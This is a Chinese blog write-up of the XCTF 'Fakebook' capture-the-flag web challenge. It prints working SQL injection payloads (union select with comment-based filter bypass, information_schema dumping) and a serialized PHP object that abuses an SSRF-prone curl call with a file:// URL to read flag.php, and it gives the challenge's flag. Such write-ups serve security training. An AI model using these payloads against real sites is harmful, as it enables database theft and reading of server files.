• 攻防世界WEB练习-Fakebook


    目录

    题目场景

    访问robots.txt

    下载文件并查看

    尝试进行注册

    尝试SQL注入

    猜测字段

    查询数据库名

    查询表名

    查询段名

    查看data数据

    扫描目录

    读取文件

    查看源码

    base64解码

    提取flag


    题目场景

    访问robots.txt

    下载文件并查看

    1. class UserInfo
    2. {
    3. public $name = "";
    4. public $age = 0;
    5. public $blog = "";
    6. public function __construct($name, $age, $blog)
    7. {
    8. $this->name = $name;
    9. $this->age = (int)$age;
    10. $this->blog = $blog;
    11. }
    12. function get($url)
    13. {
    14. $ch = curl_init();
    15. //curl_init : 初始化一个cURL会话,供curl_setopt(), curl_exec()和curl_close() 函数使用。
    16. curl_setopt($ch, CURLOPT_URL, $url);
    17. //curl_setopt : 请求一个url。其中CURLOPT_URL表示需要获取的URL地址,后面就是跟上了它的值。
    18. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    19. //CURLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
    20. $output = curl_exec($ch);
    21. //curl_exec,成功时返回 TRUE, 或者在失败时返回 FALSE。 然而,如果 CURLOPT_RETURNTRANSFER选项被设置,函数执行成功时会返回执行的结果,失败时返回 FALSE 。
    22. $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    23. if($httpCode == 404) {
    24. return 404;
    25. //CURLINFO_HTTP_CODE :最后一个收到的HTTP代码。
    26. //curl_getinfo:以字符串形式返回它的值,因为设置了CURLINFO_HTTP_CODE,所以是返回的状态码。
    27. 如果状态码不是404,就返回exec的结果。
    28. }
    29. curl_close($ch);
    30. return $output;
    31. }
    32. public function getBlogContents ()
    33. {
    34. return $this->get($this->blog);
    35. }
    36. public function isValidBlog ()
    37. {
    38. $blog = $this->blog;
    39. return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    40. //正则匹配,在blog中要匹配到https://
    41. }
    42. }

    尝试进行注册

    注册成功

    发现username的1是蓝色的,可以弹出新的界面

    根据url发现有一个?no=1,尝试进行sql注入

    尝试SQL注入

    尝试注入?no=1 and 1=1和?no=1 and 1=2

    报错,存在sql注入

    猜测字段

    从?no=1 order by 1开始猜测

    从?no=1 order by 5报错,所以有4个字段

    查询数据库名

    ?no=1 union select 1,2,3,4-- -

    发现存在拦截,尝试进行绕过

    ?no=-1 union all select 1,2,3,4-- -

    ?no=-1 union/**/select/**/1,2,3,4-- -

    发现2是回显

    这时查询一下数据库名

    ?no=-1 union all select 1,database(),3,4-- -

    查询表名

    ?no=-1 union all select 1,group_concat(table_name) ,3,4 from information_schema.tables where table_schema="fakebook"-- -

    查询段名

    ?no=-1 union all select 1,group_concat(column_name) ,3,4 from information_schema.columns where table_name="users"-- -

    ?no=-1 union all select 1,group_concat(column_name) ,3,4 from information_schema.columns where table_schema="fakebook"-- -

    查看data数据

    ?no=-1 union all select 1,group_concat(data) ,3,4 from users-- -

    发现数据已经被序列化

    扫描目录

    发现var/www/html/flag.php文件

    读取文件

    采用构造file协议去读取/var/www/html/flag.php的内容

    ?no=-1 union all select 1,2 ,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'-- -

    查看源码

    base64解码

    提取flag

    flag = "flag{c1e552fdf77049fabf65168f22f7aeab}"

  • 相关阅读:
    王学岗生成泛型的简易Builder
    动态规划之-----年终奖
    时间复杂度和空间复杂度
    证书显示未受信任,生成的证书过期
    原生对象、内置对象、宿主对象的区别
    MFC Windows 程序设计[151]之色彩控件之谜
    从预训练损失的角度,理解语言模型的涌现能力
    建一个chrome插件crx所需步骤
    客户需求调研的三个实用工具
    OPUS解码器PLC
  • 原文地址:https://blog.csdn.net/lyshark_lyshark/article/details/126799173